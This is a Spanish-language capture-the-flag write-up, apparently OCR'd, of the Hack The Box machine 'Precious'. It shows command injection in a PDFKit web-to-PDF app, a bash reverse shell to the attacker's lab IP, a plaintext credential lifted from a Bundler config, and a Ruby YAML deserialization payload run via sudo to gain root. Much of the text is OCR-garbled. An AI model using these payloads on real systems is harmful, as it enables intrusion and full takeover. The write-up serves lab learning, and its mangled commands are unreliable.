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1.Enumeracion

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes
servicios y versiones asociados.

File: targeted

) scan report 10

scan initiated Sat Jul 22 08:33:42 2023 as: nmap -SCV -p 22 ) Pn -oN targeted 10.10.11.189
is up (0.037s latency).

22/tcp open ssh 0 SH 8.4p1 Debian 5+debllul (protocol 2
ssh-hostkey
72 845e13a8e31e20661d235550f63047d2 (RSA)
56 a2ef7b9665ce4161c467ee4e96c7c892 (E A
_ 256 33053dcd7ab798458239e7ae3c91a658 (ED2:
tcp open http nginx 1.18.0
http-methods

_http-title not follow redirect to http
_http-server-header: nginx/1.18.
Se e Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

ata files from usr/bin/ .. /share/nmap
e detection performed. P e report any incorrect results at https
) done at Sat Jul 22 ©8:33:51 2023 1 IP address (1 host up) scanned in 9.91 seconds

Revisamos con whatweb las tecnologias usadas por la web que corre por el puerto TCP/80.

/home/kali/precious
http://10.10.11.189
[302 Found] Country[RESERVED][ 1, HTTPServer[ ], IP[10.10.11.189], RedirectLocation[http://precious.htb/], Title[3¢ nd], nginx[1.18.0]

Vemos que se intenta hacer una redireccidon a http://precious.htb. Modificamos nuestro
fichero hosts, para que podamos resolver dicho dominio.

File: /etc/hosts

kali

) precious.htb

Volvemos a ejecutar whatweb pero esta vez con el dominio que acabamos de incorporar al
fichero hosts.
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http://precious.htb/

/home/kali/prec
ttp

S[SAMEORIGIN], X-Powered-By[

Abrimos la web en el navegador y revisamos con Wappalyzer, por si obtenemos mas
informacion sobre las tecnologias usadas.

TECHNOLOGIES MORE INFO ¥ Export
Web servers Reverse proxies
@ Nginx 1.180 @ Nginx 1.180
Phusion
& 6.0.15
Passenger

Realizando una revision manual de la web, parece que permite convertir una pagina web en
pdf.

Convert Web Page to PDF

Enter URL to fetch
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2. Analisis de
vulnerabilidades

Revisamos el comportamiento de la web, con Burpsuite. Al intentar probar un ataque de
inyeccion de comandos, vemos que conseguimos filtrar el software y versién usada para
realizar la conversién a PDF.

Request Response

¢Qué es PDFKit?
PDFKit es una biblioteca JavaScript de cddigo abierto muy util para creary
administrar documentos PDF con un esfuerzo y costo minimos. La API es facil de
manejar y admite funciones de bajo nivel, asi como abstracciones para funciones de
nivel superior.

Buscamos con searchexploit, si dicha version tiene alguna vulnerabilidad.
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3. Explotacion

Ahora que, con la vulnerabilidad encontrada, tenemos una forma potencial de ejecutar
comandos, vamos a comprobar que realmente se acontece en nuestra maquina victima.
Vamos a intentar ejecutar un ping contra nuestra maquina atacante.

Request

L |POST /
2 Host: pr
3 User-A
4 Accept: te
5 Accept-Languag
Accept-Encodin
Content-Type:
g Content-
) | 0rigin: ht
Connection
11 Referexr: htt

Upgrade-Insecure-Requests:

14 url=http://%20 ping -cl 10.10.14.7°

Para evitar que entre en conflicto, codificaremos la peticidon. Nos pondremos en escucha
con tcpdump primero, antes de enviar la peticion.

Request

I prec
er-Agent:
1 Accept: te
5 Accept-Langu
Accept-Encodin
Content-Type:
8 Content-Leng
) Origin: ht
? Connection:
1 Referer: http:
2 Upgrade-Inse

} url=%6 %7 %2T%25%32%

/home/kali/precious
tun® icmp
tcpdump: verbose output suppressed, use -v[v] ... for full protocol decode
listening on tun®, link-type RAW (Raw IP), snapshot length 262144 bytes

10:12:03.104285 IP 10.10.11.189 > 10.10.14.7: ICMP echo request, id 16169, seq 1, length 64
10:12:03.104346 IP 10.10.14.7 > 10.10.11.189: ICMP echo reply, id 16169, seq 1, length 64
[ |
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Ahora que hemos comprobado, que podemos ejecutar comandos, vamos a intentar ganar
acceso a la maquina victima. Para ello, intentaremos enviar la siguiente peticion
http://%20 bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1" pero codificada. Antes,
debemos ponernos con netcat en escucha con nuestra maquina de atacante por el puerto
443,

Request

Raw Hex
1 POST / HTTP/1.1
i pre htb

ccept-La
Accept-En

Content-L
) 0rigin: htt
® Connectio
11 Referer:

12 Upgrade-I

irl

Ganamos acceso a la maquina victima.

/home/kali/HTB/precious
) 443
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.189] 42294
bash: cannot set terminal process group (678): Inappropriate ioctl for device

bash: no job control in this shell
rubyaprecious:/var/waw/pdfapp$ hostname -I
hostname -1

10.10.11.189
ruby@precious:/var/wwaw/pdfapp$ I

4. Movimiento lateral

Tras realizar un tratamiento de la TTY para tener una consola completamente interactiva,
revisamos el contenido de nuestro directorio personal. En el fichero
/home/ruby/.bundle/config, encontramos una posible credencial para el usuario Henry.
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ruby@precious:~/.bundle$ cat config

BUNDLE_HTTPS: //RUBYGEMS__ ORG/: "henry:Q3clAqGHtoI@aXAYFH"
ruby@precious:~/.bundle$ |}

Probamos dichas credenciales, y conseguimos convertirnos en Henry.
ruby@p;ecious:~/.bund1eg_su henry
Password:
henry@precious:/home/ruby/.bundle$ whoami

henry
henry@precious:/home/ruby/.bundle$ |j

5. Escalada de privilegios

Comprobamos nuestros permisos de sudoers. Parece que podemos ejecutar como root el
script /opt/update_dependencies.rb.

nenry
henry@precious:/home/ruby/.bundle$ sudo -1
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

No tenemos permisos de escritura sobre dicho script pero revisamos su contenido. Parece
que el script, carga un fichero de forma relativa para comprobar la version de las
dependencias instaladas en el sistema y las que especifica el fichero dependencies.yml.

GNU nano 5.4
. i
require
require

def update_gems()

def list_from_file
.load( .read(
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Encontramos una forma de aprovecharnos:

e https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-
through-yaml-deserialization/

Lo probamos primero, intentando la ejecucién del comando id.

GNU nano 5.4

- Iruby/object:Gem:: Installer
R
- Iruby/object:Gem:: SpecFetcher
i: vy
- Iruby/object:Gem:: Requirement
requirements:
'ruby/object:Gem:: Package :: TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem:: Package :: TarReader :: Entry
read: 0
header: "abc”
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem:: RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "idlj
method_id: :resolve

henryaprecious:~%$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in "<main>’
32: from /opt/update_dependencies.rb:10:in “list from file'

Ahora probamos el mismo concepto, pero intentando asignar permisos de SUID a la
/bin/bash.
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https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/

GNU nano 5.4

- !'ruby/object:Gem:: Installer

Fax
- Iruby/object:Gem:: SpecFetcher
e SRR
- !'ruby/object:Gem:: Requirement
requirements:
'ruby/object:Gem:: Package :: TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem:: Package:: TarReader:: Entry
read: @
header: "abc”
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod u+sfj/bin/bash"
method_id: :resolve

henryaprecions:~$ 1ls -la /bin/bash
-Twsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash

- - ' '

Ahora solo tenemos que ejecutar la bash de forma privilegiada.

henryaprecious:~$ bash -p
bash-5.1# whoami

root
bash-5.1# |
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